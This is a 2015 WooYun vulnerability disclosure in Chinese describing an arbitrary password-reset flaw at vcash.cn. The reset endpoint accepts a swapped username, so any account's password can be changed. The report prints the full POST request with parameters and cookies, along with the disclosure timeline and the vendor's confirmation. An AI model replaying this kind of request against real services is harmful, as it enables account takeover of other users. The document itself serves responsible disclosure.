当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0155729

漏洞标题：维信现贷任意账号密码重置

相关厂商：vcash.cn

漏洞作者： Zhe

提交时间：2015-12-16 21:40

修复时间：2016-01-11 16:56

公开时间：2016-01-11 16:56

漏洞类型：设计缺陷/逻辑错误

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-12-16： 细节已通知厂商并且等待厂商处理中
2015-12-18： 厂商已经确认，细节仅向厂商公开
2015-12-28： 细节向核心白帽子及相关领域专家公开
2016-01-07： 细节向普通白帽子公开
2016-01-17： 细节向实习白帽子公开
2016-01-11： 细节向公众公开

简要描述：

维信理财于2006年根据中国香港法律注册成立，实收资本十亿港币。在国内拥有包括小额贷款、融资担保、融资租赁、金融服务在内的多家子公司及业务分部。
在上海设立了全国管理总部，并在上海、成都、苏州等地设立了风险控制中心、信息技术中心、客户服务中心及财务中心。公司业务覆盖全国五十多个主要城市，拥有强大的服务网络，为客户提供全方位的金融服务。

详细说明：

http://www.vcash.cn
找回密码流程（前面注册了个账号，不然还真不好靠猜的）
用自己的账号走一遍找回密码流程，最后一步得到一个重置密码的接口，该接口验证不严，导致可替换用户名后重置该账号的密码
接口内容如下

POST http://www.vcash.cn/obiz/app/account/pwdfindreset HTTP/1.1
Host: www.vcash.cn
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:42.0) Gecko/20100101 Firefox/42.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://www.vcash.cn/obiz/app/account/findpwdMobileValidation
Cookie: JSESSIONID=r7WRaplDIuQPOa3OIJ8CuqEb.newchannelapp; Hm_lvt_6b2ad694fff3af44a2386760d4d6f119=1448419319; Hm_lpvt_6b2ad694fff3af44a2386760d4d6f119=1448419875; _gscu_1580780353=484193195ixacu10; _gscs_1580780353=48419319ttds8j10|pv:24; _gscbrs_1580780353=1; _fmdata=C286B520722E1B06C5C61F5DC89E4D806EBEB8C86DF9FACB436A68F3BB1FD13999EC6166179559DD517F811F391FCEBFB9BBD0AF9FFEA4F5
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 139
newpwd=123123123&newpassword=F5BB0C8DE146C67B44BABBF4E6584CC0&repeatpwd=123123123&username=18888888888&_csrf=30a26d5a-ce0d-4b44-91d8-2d26157619a1


登录验证

2.jpg


1.jpg


漏洞证明：

如上

修复方案：

加强验证

版权声明：转载请注明来源 Zhe@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2015-12-18 18:02

厂商回复：

感谢对维金荟的关注。

最新状态：

暂无

漏洞评价：

评价